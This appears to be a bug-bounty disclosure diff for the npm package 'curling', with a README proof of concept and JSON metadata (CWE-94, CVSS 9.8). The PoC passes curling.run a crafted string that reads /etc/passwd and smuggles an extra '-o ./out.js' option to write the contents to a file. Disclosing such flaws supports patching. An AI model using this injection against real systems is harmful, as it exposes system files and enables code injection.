Remote Code Execution (RCE) in curling

bounties/npm/curling/2/README.md

@@ -0,0 +1,22 @@
+# Description
+
+Remote Code Execution (RCE) in curling
+
+# Proof of Concept
+
+1. Create the following PoC file:
+
+```
+// poc.js
+const curling = require('curling');
+curling.run('file:///etc/passwd -o ./out.js', function(d, payload){console.log(payload)});
+```
+
+2. Execute the following commands in terminal:
+
+```
+npm i curling # Install affected module
+node poc.js #  Run the PoC
+```
+
+3. Check the Output using ls command before and after the execution. And view the content in out.js

bounties/npm/curling/2/vulnerability.json

@@ -0,0 +1,57 @@
+{
+    "PackageVulnerabilityID": "2",
+    "DisclosureDate": "2021-02-13",
+    "AffectedVersionRange": "*",
+    "Summary": "Remote Code Execution",
+    "Contributor": {
+        "Discloser": "",
+        "Fixer": ""
+    },
+    "Package": {
+        "Registry": "npm",
+        "Name": "curling",
+        "URL": "https://www.npmjs.com/package/curling",
+        "Downloads": "189"
+    },
+    "CWEs": [
+        {
+            "ID": "94",
+            "Description": "Improper Control of Generation of Code ('Code Injection')"
+        }
+    ],
+    "CVSS":
+    {
+        "Version": "3.1",
+        "AV": "N",
+        "AC": "L",
+        "PR": "N",
+        "UI": "N",
+        "S": "U",
+        "C": "H",
+        "I": "H",
+        "A": "H",
+        "E": "P",
+        "RL": "O",
+        "RC": "C",
+        "Score": "9.8"
+    },
+    "CVEs": [
+        ""
+    ],
+    "Repository": {
+        "URL": "https://github.com/hgarcia/curling",
+        "Codebase": [
+            "JavaScript"
+        ],
+        "Owner": "hgarcia",
+        "Name": "curling",
+        "Forks": "6",
+        "Stars": "2"
+  },
+  "Permalinks": [
+      "https://github.com/hgarcia/curling/blob/master/lib/curl-transport.js#L59"
+  ],
+  "References": [],
+  "PrNumber": "",
+  "FixSubmissionCount": ""
+}